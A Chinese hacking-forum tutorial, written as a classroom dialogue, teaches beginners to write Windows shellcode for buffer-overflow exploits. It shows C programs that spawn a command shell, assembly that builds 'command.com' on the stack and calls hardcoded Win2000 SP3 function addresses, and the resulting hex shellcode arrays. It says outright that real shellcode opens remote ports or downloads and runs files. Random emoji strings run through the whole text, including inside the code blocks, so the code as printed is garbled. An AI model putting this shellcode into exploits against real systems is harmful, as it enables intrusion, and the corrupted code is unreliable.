日暮酒醒人已远,满天风雨下西楼。 收藏本站
登陆 / 注册 搜索

阅读:1.9万   回复: 4

Windows下ShellCode编写初步

[复制链接]
小执念 古黑浩劫论坛大牛 2015-12-23 11:16 |显示全部楼层

可遇不可求的事:故乡的云,上古的玉,随手的诗,十九岁的你。

管理员
  “上课了,上课了!”同学们一边兴高采烈的讨论着一边步入教室。新的一周又开始了。

  “嗯,大家经过这两次课的学习,有什么感觉啊?”老师等同学们坐好后问。

  “噢,这几次课我们对溢出编写的基本思路有了清晰的了解;掌握了利用缓冲区溢出的两种方式;同时还对大量的实际漏洞进行了成功的编写。”古风认真的说道。

✋🏠🍭↔🦠‌


  “嗯,让我们的兴趣和技术都得到了很大的提升。”玉波说。

  “同时,我们也认识到了真正的黑客精神是钻研和共享!”宇强佩服的说道。“好!”老师赞扬道,“大家有了这些认识就很好!只要有了兴趣和钻研的精神,就可自主的不断深入下去;同时,有了共享的精神,就会得到别人的尊敬,并且一同讨论、一起进步。”
  “嗯!”大家认真的点点头。
🦷🌞🍚❓🐅‍
  “但是,老师。”宇强说道:“虽然我们的溢出水平的确有所提高。但在实际编程中,对ShellCode的编写不是特别明白,对复杂漏洞(比如堆溢出漏洞)也还不清楚,希望能继续的学习。”

  老师笑道:“呵呵,别着急,在后面的章节中我们会慢慢深入下去的。大家有这个不断学习的想法就很好!再提醒一次,学习更重要的是方法,而不是技术本身。如果你掌握的只是技术,技术会很快过时,那你就没有机会了;如果掌握的是方法,那你就能很轻松的应对技术的变迁。”
🧑‍🌾‎🦺✒😥👊
  大家齐声答道:“嗯,我们一定会注意的!”

  老师说道:“那好,首先我们一起来看看ShellCode的编写吧!”

ShellCode是什么

✋🚗🍭®🐯‌老师说:“缓冲区溢出漏洞的利用。本质上来讲,就是使计算机跳转到我们的ShellCode中去执行,所以,ShellCode是缓冲区溢出利用的关键之一。但ShellCode本身的编写是大有学问的,可易可难,所以这里单独提出来讲。”

  大家小心翼翼的问道:“前面多次提到了ShellCode,这里又说它很有学问。但ShellCode究竟是什么呢?我们都还不知道呢……”

  “哦,对哈!”老师一拍脑袋:“之前我还没解释过呢!不要紧,现在我们就来一起学习。”“最先的Shell指的是人机交互界面,而这里的ShellCode不仅仅指交互了,而是指可以实现我们想要的功能的代码。ShellCode是一组能完成我们想要的功能的机器代码,通常以十六进制数组的形式存在。比如,第一章中开DOS窗口的ShellCode,这也是通常ShellCode的出现方式。”
🤟🏝🌶🈸🐉‍
Windows下ShellCode编写初步 QQ截图20151223083909.png


  “大家看,ShellCode数组里存的是十六进制形式的机器码,其实,本质是对应着可直接执行的汇编程序。”老师说道。

🤛🚐🍟❓🦟‌

  “哇!是程序啊?但一点都看不出来,究竟是干什么的程序呢!”有些同学问道。

  “呵呵!功能的分析会在后面会讲到。”老师说。

  “ShellCode是程序,那岂不是需要别人点击和编译吗?”玉波晃晃脑袋,不解的说。👳‏🧢📮😘👃

  “这里的ShellCode其实是计算机能直接执行的机器代码,只要计算机的指令指针EIP指向ShellCode里面,就可以顺利执行,不需要再点击和编译了。”

  小知识:计算机指令的执行
  计算机每次都只是执行当前EIP指向的指令(单CPU)。在当前指令执行后,EIP会自动加1,从而指向下一条指令。如果有JMP CALL RET—类的指令,EIP就会被强行改变成指定的地址,从而完成流程的跳转。

🧑‍💻‌👑💿😘✋



  “再解释清楚一点,我们想尽办法写出ShellCode,是想用ShellCode的数据把内存中原有的数据等动态覆盖掉,之后计算机的指令指针EIP指向ShellCode在内存中的开始位置,就可以执行ShellCode,实现我们想要的功能了。”老师继续说道。

  “比如,原来在内存中的数据是这样的,如下图。”
  原内存中的数据👩‏🪖😷🤛

Windows下ShellCode编写初步 QQ截图20151223084255.png


  “但我们把数据动态覆盖成ShellCode后,就成下图的样子了。”
  覆盖后的数据
👈⛪🫑📵🐞‍
Windows下ShellCode编写初步 QQ截图20151223084307.png


  “这些数据就是那个开DOS窗口的ShellCode代码。当计算机执行到原来的地方时,实际上是在执行我们的ShellCode。这样,计算机在不知不觉的情况下就完成了我们想要的功能,不需要别人再去做什么。“

💪🦼🍇♑🐯‌

  哦!”同学们恍然大悟。“那有点像在Debug时动态改变寄存器的值一样。”宇强说道。

  “对,就是这样!计算机会按照改变后的值继续执行下去,而不管是谁改变了值,是否改变得正确。”老师还赞扬了一句:“看来这位同学的悟性不错嘛!”

  “嘿嘿!”宇强发现PLMM看了自己一眼,高兴极了!👩‏👓🗝😪🤞

  “大家继续努力吧!知道了ShellCode的用处,那我们就来看看如何编写出机器码形式的ShellCode。”

简单的例子——编写控制台窗口的ShellCode

  “学习任何东西,都是由易到难,从简单到复杂,”老师说道。“这是一种学习的方法。”
👈🚂🥛♾🐋‏  “嗯!”台下认真的听着。
  “我们这里也一样,”老师环顾了一下教室,说道,“我们从一个简单的程序进入编写ShellCode的殿堂吧!”

打开控制台窗口的C程序


💪🎢🥭🆗🐉‍  “ShellCode是完成我们想要的功能的代码,那我们想要的功能最好是能开一个DOS窗口,那样就可做很多事情。比如之前在第一章中例举的这个程序。”

[mw_shl_code=c,true]#include<windows.h>
int main()
{🧑‍🎤‎🩴🔌😷👀
LoadLibrary(“msvcrt.dll”);
system(“command.com”);
return 0;
}[/mw_shl_code]

👃🍟↔🪶‎  “在这个程序中,首先使用LoadLibrary(“msvcrt.dll”);装载动态链接库msvcrt.dll,然后用system函数执行command.com,就可获得一个DOS窗口,我们能在窗口中执行dir、copy等命令,效果大家也见过了。”

  “喔!看起来很简单啊!”大家说道。

  “嗯,是啊丨但在那个程序中,编译器会帮我们完成很多工作,比如函数地址的转换等。下面这个程序功能完全一样,但更能突出本质!大家看!”

🤙💈🍭☣🦮‏


[mw_shl_code=applescript,true]#include <windows.h>
#include <winbase.h>
typedef void (*MYPROC)(LPTSTR); //定义函数指针
int main()
👃🚈🧊‎{
HINSTANCE LibHandle;
MYPROC ProcAdd;
LibHandle = LoadLibrary(“msvcrt.dll”);
ProcAdd = (MYPROC) GetProcAddress(LibHandle, "system"); //查找system函数地址

✍🚠🍓©🐻‍

(ProcAdd) ("command.com"); //其实就是执行system(“command.com”)
return 0;
}[/mw_shl_code]

  “哎哟!好复杂啊!头晕……”好多人开始晕‘程’了。
🖕🔥🍞♻🦉‎  “呵呵,不要怕,这个程序和原来的那个差不多,但多了一些处理。我们一句一句的解释吧!

  typedef void (*MYPROC) (LPTSTR)
      定义了一个函数指针,其指向函数的参数是字符串,返回值是空。该指针的作用是用于指向system函数,在后面调用它,就相当于调用system函数。
🧑‍⚕️‍👞📠🙃👎
      LibHandle = LoadLibrary("msvcrt.dll")

      加载msvcrt.dll这个动态链接库,动态链接库的句柄赋给LibHandle。

      ProcAdd = (MYPROC) GetProcAddress (LibHandle,"system");
🤳🚤🥩✡🦠‎
      获得动态链接库的句柄后,我们再使用“GetProcAddress(LibHandle,system)”获得system的真实地址。之后再使用这个真实地址来调用system函数。执行该语句后,ProcAdd为指向system函数的指针,即ProcAdd存的是system函数的地址。”

      (ProcAdd) ("command.com");
🧒‌🧦⚔🖕
      因为此时的ProcAdd为指向system函数的指针,所以“(ProcAdd)("command.com")”就是调用“system("command.com")”,完成我们想要的功能。”

      “我们编译执行,仍然会弹出一个DOS窗口来,看下图。

Windows下ShellCode编写初步 QQ截图20151223085734.png

👦‍🩰📞😋🧠



  “哦!好像比原来的程序就多了一个找system函数的地址。”宇强仔细观察后说道。
  “是啊,干嘛这么麻烦呢!原来的程序不是挺好的吗?”胖胖的玉波又喃喃说道。

  老师说:“我们千方百计的找出函数地址来,一定是有用处的。刚才说了这么多,大家也一定想知道system的地址到底是多少吧!”👴‎🕶🛏😳👊

  “嗯,是啊,还真不知道呢!”

查看函数的地址

  “好,我们一起来看看system函数的地址吧!在VC下按F10进入调试状态,然后在Debug工具栏中,点最后一个按钮‘Disassemble’和第四个按钮‘Registers’,这样就出现了源程序的汇编代码和寄存器状态窗口,如下图。”
👎🛑🥣➡🦟‍
Windows下ShellCode编写初步 QQ截图20151223091626.png


  “我们继续按F10,程序就会单步执行,直到‘LibHandle=LoadLibrary("msvcrt.dll")’那句下的‘call dword ptr [_imp__LoadLibraryA@4 (0042413c)]’执行完后,我们就可在寄存器窗口中发现EAX变为了780000,说明在我Win2000SP3的机器上,msvcrt.dll的地址为0x780000。如下图。”老师说道。

👃🌞🍓⁉🦚‎
Windows下ShellCode编写初步 QQ截图20151223091931.png


      “等等,为什么这里的EAX的780000就为msvcrt.dll的地址呢?”古风说道。
     “呵呵,我当然没那么天才,能自己想出来。”老师说,“那句‘call dword ptr [__imp__LoadLibraryA@4(0042413c)]’就是执行‘LoadLibrary("msvcrt.dll")’,返回值就是msvcrt.dll的地址;而函数的返回值,通常都是放在EAX中,这算是计算机系统的约定吧!所以,‘LoadLibrary("msvcrt.dll")’的返回值(msvcrt.dll的地址)就存在EAX中,即780000。”
🧑‍🚀‎🧢🦯😛🤳
  “哦,这样啊!那system的地址是多少呢?”
  “一样的道理,我们继续按F10执行下去,直到‘ProcAdd = (MYPROC) GetProcAddress (LibHandle,"system")’语句下的‘call dword ptr[__img__GetProcAddress@8 (00424194)]’指令执行后,可以发现得到EAX为7801AFC3,即在我Win2000 SP3系统的机器上,system()函数的地址是0x7801AFC3,如x下图。

Windows下ShellCode编写初步 QQ截图20151223092417.png

👳‍🥾🪦🤪🙏
  “哦,真的是啊!”
  “不是‘蒸’的,难道还是煮的吗?{:4_107:}接下来,执行‘(ProcAdd)("command.com")’,就弹出了一个DOS对话框,整个程序就结束了。”老师说道。

  “哦,明白了。但还是不太清楚为什么需要知道system函数的地址?”古风问道。
  “嗯!这涉及到Windows下函数调用的方式。”👨‍🚒‏🥼🔋😤🤞

Windows下的函数调用原理

  老师说:“在Windows系统中,函数调用方式和Linux系统下函数的调用方式是不同的。”

  小知识:

🧑‍🍳‍🎒🪝🤔👁


  在Linux下,函数的执行是使用系统中断调用。执行一个函数,是把参数赋给寄存器,然后调用中断int 80来执行。比如执行execve (name[0],name,NULL),系统把0xb拷贝到寄存器EAX中(0xb是系统调用execve的代码号);将name[0]的地址拷贝到寄存器EBX中;将name的地址拷贝到寄存器ECX中;将NULL拷贝到寄存器EDX中;然后执行中断指令int $0x80,就完成了execve函数的执行。Linux执行其他函数也类似,系统把函数的系统调用码给EAX(如execve是0xb),函数带的参数给其他寄存器,最后执行int $0x80中断指令,就完成函数的执行。

  “在Windows下,函数的调用需要先把函数所在的动态链接库Load进去,这点大家都清楚。而在执行的时候用堆栈传递参数,然后直接CALL该函数的地址就完成了,而不是像Linux使用系统中断。”

  老师解释道:“比如,在Windows下执行函数Func (argv1,argv2,argv3),先把参数从右至左压入堆栈,这里就是依次把argv3、argv2、argv1压入堆栈里,然后Call Func函数的地址,这里的Call Func函数地址,其实等于两步,一是保存当前EIP,二是跳到Func函数的地址执行,即Push EIP+Jmp Func。其过程如下图。”👩‍✈️‎👔🛒😋💅

Windows下ShellCode编写初步 QQ截图20151223092716.png


  “大家这点明白了吗?”老师画完图后问道。
  “Yes!但看看实际的例子更容易理解。”大家说。👨‍🎨‌👠🪜🥰👀
  “当然可以啦!我们来验证一下,还是调试刚才那个程序。执行ProcAdd=(MYPROC) GetProcAddress(LibHandle,"system");这句时,其过程应该是先压入system字符串地址,再压入LibHandle,最后call GetProcAddress函数的地址。大家看,在汇编代码中,过程是一样的:”

[mw_shl_code=c,true]push offset string “system” 第二个参数system字符串的地址入栈
push [ebp-4] 第一个参数LibHandle入栈
call [__imp__GetProcAddress] Call GetProcAddress函数的地址[/mw_shl_code]
🖐🚘🍼🈴🐮‌
Windows下ShellCode编写初步 QQ截图20151223092855.png


  “哦!真的和分析一模一样啊!”玉波撇撇嘴说道。
  “呵呵,是的。这次由你们自己来分析执行(ProcAdd) ("command.com");的过程吧!”老师说。
✋🌧🦞ℹ🦋‍
      “好哩!(ProcAdd) (〃command.com〃)首先是参数入栈,这里只有一个参数,所以就把command.com的地址压入堆栈;然后call ProcAdd函数的地址,这里ProcAdd函数的地址保存在[ebp-8]中,所以call [ebp-8]就OK了。”大家说道。

      “非常好!”老师很满意,“真是名师出高徒啊!”
  “这下清楚我们为什么要知道system函数的地址了吧?”
👎⛪🍧™🐂‎  “莫非在执行函数时直接CALL我们知道的函数地址?”宇强想了想,问道。

  “对!我们知道了函数的地址,也知道了函数执行的原理,那我们就可自己写出调用函数过程的汇编代码,甚至是机器代码一ShellCode!”老师说道。

汇编和机器码——真正ShellCode的生成

👎🗼🍇♏🦮‏

  “现在知道了我机器上system函数的地址是0x7801AFC3,也知道了函数的执行原理。那我们就来直接写出system(“command.exe”)的汇编代码!”

  “哇!”台下大惊,特别是几个女生,“我们还不懂汇编呢!”
  “没事。”老师蛮有信心的说,“你们只要知道PUSH和CALL就行了,你们知道PUSH和CALL吗?知道,所以就行了。”
  “……”台下没人敢说话。
🤞⛪🦞📶🐠‎

  “不要怕,学习的关键还是思路,只要把握了整个流程,那些细节东西自然就明白了。这也是种学习的方法,有时太拘泥于细节,不能把握好全局,反而不好。‘亮独览大略’,这就是诸葛亮比其他人强的原因。”

  “哦!”

🤝🚂🎂🚭🐒‍

  “怎么样?大家一起来考虑,一起来编写?”老师问了问大家。
  “好吧!”听到诸葛亮也这样,大家都很有信心了。
  “我们先把system(“command.exe”)的汇编代码写出来。”

  “根据前面的分析,执行system(“command.exe”)只需先把参数command.exe字符串的地址入栈,再CALL System的地址就行了。”👩‎👔🖌☠🤟

  “但command.exe字符串地址是多少呢?我们把什么压入堆栈呢?”古风问。
  “是啊,这是个问题啊!”其他人也附和着。

  “问得好!我们不知道command.exe字符串的地址,甚至连内存里有没有command.exe字符串都不知道,但我们可自己构造出来。”老师说。
👏🏫🥣❎🐺‍
  “啊?自己构造?在哪里构造?怎样构造啊?”大家不解的问。
  “呵呵,就在堆栈里构造!我们把‘command.exe’一个字符一个字符的压入堆栈,这样‘command.exe’字符串就有了,而且ESP正好是command.exe字符串的地址,看图。”

Windows下ShellCode编写初步 QQ截图20151223093153.png
👩‍✈️‏💎🧯🥱🤞

     “有了字符串和字符串的地址ESP,我们把ESP压入堆栈,就是system(“command.exe”)函数的参数一——command.exe字符串的地址,如下图。”

Windows下ShellCode编写初步 QQ截图20151223093245.png

👨‍🎨‌👔🧯🤡
  “哦!”大家恍然大悟。
  “最后我们CALL System函数的地址就行了。我的Win2000SP3机器上的system函数地址为0x7801AFC3,所以CALL 0x7801AFC3。”

  “哇!按照这样的思路,我们可以得到system(“command.exe”)的汇编代码了!”古风高兴的说,埋头就想写汇编了。
👨🦱‏🕶🖌☠🤙
  “慢着,”老师阻止了古风,“PUSH是四字节对齐的,就是说PUSH—定会压入四个字节,比如PUSH 0x41,其实是压0x00000041进堆栈。刚才讲的一个字节一个字节的压入,其实是不行的。”

  “啊?计算机岂不是耍我们?”
  “但我们完全可以利用这个思路,只不过在实现细节上要改动一下。就像你们男生都要让着女生一样,我们也让着点计算机MM哈!”

🦴🚘🍌🈚🐢‏  “哈哈哈哈……”大家都笑了起来。小强暗叹道:“我还没有GF呢!”
  “怎么改动呢?”
  “方法很多,比如,计算机入栈是压四个字节,那我们就每次PUSH四个字节;或者我们就一个字节一个字节地把值赋入堆栈,不用PUSH,而直接用赋值。直接赋值的方法就像这样,大家看:”

[mw_shl_code=c,true]

🧑‍🚀‎🧥🛋😳🤳


mov esp,ebp ;
push ebp ;
mov ebp,esp ; 把当前esp赋给ebp
xor edi,edi ;
push edi ;压入0,esp-4,; 作用是构造字符串的结尾\0字符。

‎👔🎷🤑👀


sub esp,08h ;加上上面,一共有12个字节,;用来放"command.com"。
mov byte ptr [ebp-0ch],63h ; c
mov byte ptr [ebp-0bh],6fh ; o
mov byte ptr [ebp-0ah],6dh ; m
mov byte ptr [ebp-09h],6Dh ; m
🙌⛄🍚®🐤‎mov byte ptr [ebp-08h],61h ; a
mov byte ptr [ebp-07h],6eh ; n
mov byte ptr [ebp-06h],64h ; d
mov byte ptr [ebp-05h],2Eh ; .
mov byte ptr [ebp-04h],63h ; c🧑‍⚕️‌🧦✒😅👃
mov byte ptr [ebp-03h],6fh ; o
mov byte ptr [ebp-02h],6dh ; m一个一个生成串"command.com".
lea eax,[ebp-0ch] ;
push eax ; command.com串地址作为参数入栈
mov eax, 0x7801AFC3 ;👨‍⚕️‍👑💊💩🦷
call eax ;[/mw_shl_code]

  “给大家解释一下,‘mo vebp,esp’是把esp赋给ebp作为栈底;而‘push edi’和‘sub esp,08h’是把esp减去12字节,这12个字节空间就用来放‘command.com’;然后‘mov byte ptr [ebp-0ch],63h’那些指令,是我们把command.com—个字节一个字节的放进留出的空间中;这下有command.com字符了吧?我们用‘lea eax,[ebp-0ch]’来获得构造的command.com字符串的地址;最后,‘push eax’把地址压入堆栈,call system函数的地址就完成了。“

  “下面来验证一下,在VC中可以用__asm关键字插入汇编,我们把system(“command.exe”)用写的汇编替换,LoadLibrary先不动,然后执行,成功!弹出了我们想要的DOS窗口。如下图。”
🧠🚂🦞🈳🦚‎
Windows下ShellCode编写初步 QQ截图20151223093913.png


  “哦!果然是一样!”同学们满意的说道。

👀🚠🫖❌🐙‍  “嗯,我们把LoadLibrary(“msvcrt.dll”)也仿照上面改成汇编,要注意的是,LoadLibrary在Win2000SP3上的地址为0x77e69f64,把两段汇编合起来得到cmdASM.cpp。我们把cmdASM.cpp编译、链接、执行。也成功了!如下图。”

Windows下ShellCode编写初步 QQ截图20151223095320.png


  “哇!想不到汇编也能这么轻松搞定啊!”大家都有点不相信自己的眼睛。
👆🧳🥚🔞🦬‍  “呵呵,关键在于理解方法,有了方法,学习困难的东西就会变成一件愉快的事。最后我们来生成机器码        ShellCode。”

  “也不难吗?”还是些同学有点担心。
  “嗯,有了刚才的工作,难的只是动笔的体力活了。我们对刚才的全汇编程序在VC中按F10进入调试状态,接着按下Debug工具栏的‘Disassembly’按钮,然后点鼠标右键,在弹出菜单中选中‘CodeBytes’,就会出现汇编对应的机器码了!大家看图!”
👮‍♂️‏🧣📬😭🤝
Windows下ShellCode编写初步 QQ截图20151223100105.png


  “第一句‘pushebp’对应的机器码是55,第二句‘mov ebp,esp’对应的机器码是8BEC,因为汇编可以完全完成我们的功能,所以我们把汇编对应的机器码原封不动的抄下来,就可得到想要的ShellCode了。

      古风一声叫唤提醒了大家,大家奋笔疾书,边看边抄,不一会就写下了shellcode。

🧑‍⚕️‍🩳🛋😪🤳



[mw_shl_code=c,true]unsigned char shellcode[] =
"\x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x4D\xC6\x45\xF5\x53"
"\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54\xC6\x45\xFA\x2E\xC6"
"\x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C\xBA"
👈💈🍌❗🐢‎"\x64\x9f\xE6\x77" //sp3 loadlibrary地址0x77e69f64
"\x52\x8D\x45\xF4\x50"
"\xFF\x55\xF0"
"\x55\x8B\xEC\x83\xEC\x2C\xB8\x63\x6F\x6D\x6D\x89\x45\xF4\xB8\x61\x6E\x64\x2E"
"\x89\x45\xF8\xB8\x63\x6F\x6D\x22\x89\x45\xFC\x33\xD2\x88\x55\xFF\x8D\x45\xF4"🧑‍🍳‌🎩📠😚👏
"\x50\xB8"
"\xc3\xaf\x01\x78" //sp3 system地址0x7801afc3
"\xFF\xD0";[/mw_shl_code]

      “呵呵!很好,大家都很勤奋。”老师笑道,“你们写下来的就是真正的ShellCode!”

💅⛵🍧✡🦠‏

      “Yeah!”大家都兴奋极了!“终于知道如何写出Shellcode了。”

      “是啊,大家都很不错,又有了很大的进步。但和现实中真正用的ShellCode相比,刚才那个ShellCode无论是在功能上还是在实用上都很苍薄,甚至可以说是简陋。所以我们离真正ShellCode的编写还有很长的路要走,我们还是一步一步的来吧!而现在嘛……”老师环顾了一下大家。

       大家都紧张的看着老师。
🤞🗽🍇☪🐅‎      “大家提取ShellCode都辛苦了,先休息十分钟吧!”{:4_102:}

ShellCode通用性的初步分析


      老师走后,同学们三三两两地闲聊了起来。
👁🪐🥩🈚🦬‏  “为什么老师说ShellCode很简陋呢?”
  “因为…因为不精致啊……”
  “哈哈哈哈,什么啊,那我也知道。”
  “我想听听老师回来后会说什么。”
👦‎👓🧲🥱🦴
  宇强漫不经心的四处看了看,不料一下子看见了那位叫吴小倩的女生。班上的其他女生都坐在一起闲聊,而小倩正在认真的整理笔记,宇强发现她握笔的姿势很美……

  “在干什么呢?”玉波走过来对宇强说。
  “没什么,活动活动啊……”宇强赶紧说。
  “是呀,累啊!大家放学去吃大盘鸡吗?”玉波才来没久,已经吃遍学校周围了,“还有,你觉得那个ShellCode怎样?”
🤙🪐🍚♂🐻‌
  “今天我要回家,下次吧!对于那个ShellCode,”宇强认真的回答道,“我主要觉得功能不强。刚才的ShellCode只是开了个本地DOS窗口,但实际中像.printer漏洞等都是远程的,开个本地的DOS窗口根本没有用处。”

  “说的很对!”一个声音传来。大家定睛一看,原来是老师回来了,“我们一起来探讨一下ShellCode吧!”

👨‍🎨‏🎒💊😚💅


刚才代码的不足




  老师说道,“刚才那个ShellCode不足之处之一是功能不实用,那位同学叫什么?”👦‎🩲💳🙄🤌
  “我叫宇强,老师!”宇强回答道。
  “对,宇强同学刚才也说了,实际中的溢出漏洞很多都是远程的,那么ShellCode也需要完成远程的功能。”大家都看了看宇强,小倩也瞄了瞄他。

  老师接着说:“而实际的ShellCode—般都是开个端口让人远程登陆,或下载文件执行等。除了这一点,刚才的ShellCode还有第二个缺点一不通用。”
👦‎👑🪣😷👃
  “不通用是什么意思?”古风不解的问道。
  “就是我们用了固定的函数地址!”老师解释道,“比如刚才CALL LoadLibrary和system函数,用的是Win2000SP3里固定的0x77e69f64和0x7801afc3地址。如果是其他的SP或者是XP(甚至是Windows2003),那函数的地址就不是刚才的那些值,再使用刚才的值就会出问题。”

  “会有什么问题呢?”古风继续问道。
  “在其他SP系统上,”老师继续说,“0x77e69f64和0x7801afc3可能对应的是其他函数地址,甚至是非法地址,再CALL它们至少不能完成我们想要的功能,甚至会出现报非法操作的错误。”

👮‍♂️‍🦺🛏🤌



  “哦!这样啊!那这两点都非要解决才能写出通用和实用的ShellCode罗!”

  “是啊!但饭要一口一口的吃,事情要一件一件的做。对于Shellcode的功能扩充,我们将在下节课讲到。今天剩下的时间我们先对ShellCode的通用性问题进行初步研究吧!”

✌🦼🍽❓🦖‎

通用性的初步探索



  “哦!通用性怎么解决呢?”台下有人问道。
  “大家先考虑考虑,看看你们能提出什么解决办法不。”老师说。

👵‍🎒📷😃🤙


  “嗯,如果我们知道所有不同系统的相关函数地址就好了。”玉波说道。
  “我们可以把所有的系统都装上,然后一个个的调试刚才的程序。用刚才读地址的办法,把每个系统的地址一个个的读出来。”古风提出了个狠办法。

  “对,这个办法不错啊!”大家异口同声。
  “嗯,不错。得到了所有地址之后,大家又想想怎样可以让我们的程序在每种系统上都能使用呢?”老师继续问道,“我们班上的女黑客们还是发一下言啊!”
🤟⛪🫑⁉🐥‏
  几位女生都只是抿嘴笑,不说话。
  宇强考虑后说道:“我们找到所有系统的地址后,把所有地址都备份在程序里面,以后要针对哪种系统就改成哪种系统的地址。”

  “对啊!”大家都赞同的说。

👎🚤🍭🅾🐙‏

  宇强说:“但这种方法好笨啊!每种系统都要找地址,然后改地址,才能成功的执行。好累啊!”说完又往班上的女生们那面看了看,正好和小倩的眼光对视,赶紧转过头,把眼光避开。

  “呵呵!是啊,是有点累!但能想出一种解决方案还是很不错。”老师总结道,“现在我们就用这种办法来写ShellCode吧!我们将在ShellCode高级技巧中完美的解决通用性问题。现在这种方法写出的ShellCode应该如下。”

[mw_shl_code=c,true]unsigned char shellcode[] =👨‍🚒‌💎💿😭💅
"\x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x4D\xC6\x45\xF5\x53"
"\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54\xC6\x45\xFA\x2E\xC6"
"\x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C\xBA"
//\xFF\xFF\xFF\xFF //sp0 loadlibrary地址
//\xFF\xFF\xFF\xFF //sp1 loadlibrary地址
🤝🚂🍖♊🪶‎//\xFF\xFF\xFF\xFF //sp2 loadlibrary地址
//\xFF\xFF\xFF\xFF //sp4 loadlibrary地址
"\x64\x9f\xE6\x77" //sp3 loadlibrary地址0x77e69f64
"\x52\x8D\x45\xF4\x50"
"\xFF\x55\xF0"
🦴🌧🫖♑🦮‍"\x55\x8B\xEC\x83\xEC\x2C\xB8\x63\x6F\x6D\x6D\x89\x45\xF4\xB8\x61\x6E\x64\x2E"
"\x89\x45\xF8\xB8\x63\x6F\x6D\x22\x89\x45\xFC\x33\xD2\x88\x55\xFF\x8D\x45\xF4"
"\x50\xB8"
//\xFF\xFF\xFF\xFF //sp0 system地址
//\xFF\xFF\xFF\xFF //sp1 system地址

🧑‍🎤‍👙🧲😈👃


//\xFF\xFF\xFF\xFF //sp2 system地址
//\xFF\xFF\xFF\xFF //sp4 system地址
"\xc3\xaf\x01\x78" //sp3 system地址0x7801afc3
"\xFF\xD0";[/mw_shl_code]
👴‎🧣✒🤪💅
  “是啊!到时候选择需要的地址就可以了。”
  “嗯,这里再给大家一个礼物:就是自动查找函数地址的程序GetAddr.cpp。我们可以使用它在每种系统中找出任意想要的DLL和函数的地址,程序如下

[mw_shl_code=c,true]#include <windows.h>
#include <stdio.h>👨‍🚒‎👞🔭😴👏
typedef void (*MYPROC)(LPTSTR);
int main()
{
HINSTANCE LibHandle;
MYPROC ProcAdd;
👂🌞🎂🈸🐕‌LibHandle = LoadLibrary("msvcrt");
printf("msvcrt LibHandle = //x%x\n", LibHandle);
ProcAdd=(MYPROC)GetProcAddress(LibHandle,"system");
printf("system = //x%x\n", ProcAdd);
return 0;

🧒‌👠💳😳👃


}[/mw_shl_code]

  “执行效果如下图,它自动找出了我机器上system函数的地址——0x7801afc3。”

Windows下ShellCode编写初步 QQ截图20151223103633.png

✍🛩🍟🐮‎


  “哇!太棒了!”同学们都很高兴,马上就要找各种系统的地址。

  “等一下。”老师招呼道,“大家这里分一下工,作为作业拿回家做吧!玉波同学找Win2000SP0的地址;古风找Win2000SP1的地址;宇强找Win2000SP2的地址……女生们就找XP系统下的地址吧!每种系统都找LoadLibrary和system函数的地址,大家找到之后,把它们记下来,作为技术积累,明白了吗?”

🚗🥚✔🦦‎

  大家都点了点头。

  “这里提示一下,LoadLibrary函数属于kernel32.dll,所以我们把那个查找程序里的LibHandle=LoadLibrary("msvcrt");改成LibHandle=LoadLibrary("kernel32");
把 ProcAdd=(MYPROC)GetProcAddress(LibHandle,"system");改成ProcAdd=(MYPROC)GetProcAddress(LibHandle,"LoadLibrary")。”

👃🗺🍟☪🐠‍

  “哦,明白了。”

  “以后要查找其他函数的地址时都像这样,把函数名和所在的dll名替换程序的相应地方就可以了。“好咧!

  “我们再来看看另一个简单的例子吧,再加深一下大家对ShellCode编写的感觉。”
👆🗼🍚♏🐟‍
弹出Windows对话框ShellCode的编写



  “刚才ShellCode的功能是弹出DoOS窗口控制台,虽然可以让我们做很多事情;但黑乎乎的,有点不爽!”玉波开玩笑说。

👆🚠🍼🆎🪶‏


  “是啊,爱美之心人皆有之,我也这么认为。”老师说。

  “呵呵,是啊!”大家都笑了。
  “好。那我们来写一个‘漂亮点’的ShellCode吧!弹出一个Windows图形界面的对话框,如何?👨‍⚕️‌🩴📷😈✍

  “好啊!

C程序解释


👄🌞🍒⚛🐟‌  “要弹出一个Windows对话框,user32.dll中的MessageBox函数可以帮助我们完成这个功能。”老师说道。

  “简单的说,程序只要一句话,实现如下。”

[mw_shl_code=c,true]#include "windows.h"
🤟🏦🍽🈳🐙‏
int main(int argc, char* argv[])
{

    LoadLibrary("user32.dll");
👍🔥🔪🅾🪰‏    MessageBox(0, "Www.GuHei.Net","提示", 1);
    
    return 0;
}[/mw_shl_code]

👍⛴™🐢‍  “首先,‘LoadLibrary(〃user32.dll")’是加载user32.dll动态链接库,大家都应该清楚吧!”
  “然后,‘MessageBox(0, "Www.GuHei.Net","提示", 1);’是弹出Windows对话框。我们执行,可以看到对话框的标题是‘提示’,里面的内容是‘Www.GuHei.Net’。如下图,好看多了吧?”

Windows下ShellCode编写初步 QQ截图20151223104527.png

👨‍🚒‏🦺🖲😘🖐
  古风核对了一下说道:“哦!那说明MessageBox函数带的第二个参数‘Www.GuHei.Net’是对话框内容,第三个参数‘提示’是标题内容?”

  “恩,是的!”

  “那还有第一个和最后一个参数呢?一个用的是0,另一个用的是1,又代表什么意思呢?”古风继续问道。“呵呵!我们看看官方(微软)给的定义吧!第一个参数的帮助信息如下:”
🦴🚘🎂⁉🦜‍
引用

hWnd
[in] Handle to the owner window of the message box to be created. If this parameter is NULL, the message box has no owner window.



  “意思是,第一个参数表明对话框所属的窗口句柄。如果第一个参数为NULL(即0),那么对话框不属于任何窗口。这里我们用的就是0,弹出不属于任何窗口的对话框。”
👌🚂🧊🅾🐖‎
  “而最后一个参数,是表明对话框的类型。0代表MB_0K,即只有一个‘0K’按钮;1代表MB+0KCANCEL,对话框会有‘0K’和‘Cancel’两个按钮。这里我们用的就是1,两个按钮的对话框比较好看吧!”

  “对话框还有很多类型,比如MB_RETRYCANCEL、MB_YESNO、MB+YESNOCANCEL等,大家可以下去自己看看。”“这里我们接着分析汇编和ShellCode的生成。
👳‎🩰🎺😶✌
生成汇编和ShellCode



  “对比前面的分析。执行system(“command.exe”)时,先把参数command.exe字符串的地址入栈,再callsystem的地址就行了。”

